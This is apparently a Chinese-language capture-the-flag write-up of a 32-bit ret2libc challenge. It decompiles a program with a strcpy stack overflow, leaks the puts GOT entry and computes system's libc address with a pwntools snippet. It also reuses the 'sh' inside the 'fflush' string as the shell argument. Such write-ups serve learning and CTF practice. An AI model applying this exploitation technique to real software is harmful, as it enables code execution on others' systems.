作為一名初學者,在碰到很多攻擊思路的時候會感覺很妙,比如gadget的構造,這題的sh參數截斷。
1、首先分析程序架構和保護措施。
2、使用IDA開始判斷程序是否具備最簡單的棧溢出執行條件:
- ret2text:不具備,沒有shell可執行代碼
- ret2shellcode:不具備寫入全局區域的入口
- 沒有bin/bash可用,也沒有system函數可以調用
- 沒有完整gadget構造鏈
3、執行程序,通過IDA分析main函數
int __cdecl main(int argc, const char **argv, const char **envp) { char **v3; // ST04_4 int v4; // ST08_4 char src; // [esp+12h] [ebp-10Eh] char buf; // [esp+112h] [ebp-Eh] int v8; // [esp+11Ch] [ebp-4h] puts("###############################"); puts("Do you know return to library ?"); puts("###############################"); puts("What do you want to see in memory?"); printf("Give me an address (in dec) :"); fflush(stdout); read(0, &buf, 0xAu); v8 = strtol(&buf, v3, v4); See_something(v8); printf("Leave some message for me :"); fflush(stdout); read(0, &src, 0x100u); Print_message(&src); puts("Thanks you ~"); return 0; }
程序首先輸出一段文字,然后提醒輸入內存地址來查看該地址的內容,通過See_something函數實現。
See_something函數如下:
int __cdecl See_something(_DWORD *a1) { return printf("The content of the address : %p\n", *a1); }
然后讀取字符串寫入&src,然后將&src指針參數傳遞給Print_message函數
read(0, &src, 0x100u);
Print_message(&src);
查看Print_message(&src)代碼。通過strcpy,將src中的內容拷貝到dest的內存空間中
int __cdecl Print_message(char *src) { char dest; // [esp+10h] [ebp-38h] strcpy(&dest, src); return printf("Your message is : %s", &dest); }
Print_message存在棧溢出點,由於src的可寫入空間是0x100,而dest的內存空間只有0x38,通過strcpy可以覆蓋ret地址。
4、完整攻擊思路:
(1)通過第一次程序讀取任意內存位置內容,來讀取程序got表中的puts函數實際地址。在程序第一次調用puts函數時,函數指針指向plt,所以通過執行完一次puts后,再讀取got表中的實際地址;
(2)由於puts函數地址隨機性,通過提供的libc文件計算,puts函數和system函數的偏移量,這兩步最終就是為了得到libc中實際的system函數地址;
(3)通過strcpy棧溢出覆蓋ret address,讓函數ret指向上面已經拿到的system函數;
(4)system函數的參數“sh”並不能在程序中找到,但是可以使用包含sh的任意字符串截斷形成參數(這一步太妙了);
5、先簡單的畫一個堆棧圖
當開始執行Print_message(&src)函數的時候,看到esp+0x12的內存地址寫入了eax,然后再最終寫入當前的esp。也就是將src的內存地址壓棧。
0x804864b <main+206> lea eax, [esp + 0x12] 0x804864f <main+210> mov dword ptr [esp], eax
然后執行call Print_message,自動將下一行地址8048657(也就是ret address)push到堆棧,然后進入Print_message開始push ebp,並提升棧底,創建新的堆棧空間。
所以最終在Print_message函數中堆棧圖是這樣
將程序停留到strcpy執行完后的下一行,不要退出Print_message,觀察堆棧情況。
所以要達到能覆蓋ret的長度是0xffffd7ec-0xffffd7b0
ret需要指向的system函數地址,通過libc偏移計算,借助pwntools,得到system函數在libc中的實際地址。也可以直接用ida加載libc.so計算。
libc3 = ELF("/lib/i386-linux-gnu/libc.so.6") //先得到puts的got地址 puts_gots_address = elf.got["puts"] //讀取puts地址中實際的puts地址 r.sendline(str(puts_gots_address)) s = r.recv() puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16) //通過偏移計算得到system在libc中的真實地址 offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"] system_libc_address = puts_libc_address + offset_libc_address
最后需要找到system函數需要的sh參數
如下圖,這里使用fflush字符串的截斷,是0x0804829E位置的sh。
然后就可以構造payload,得到shell。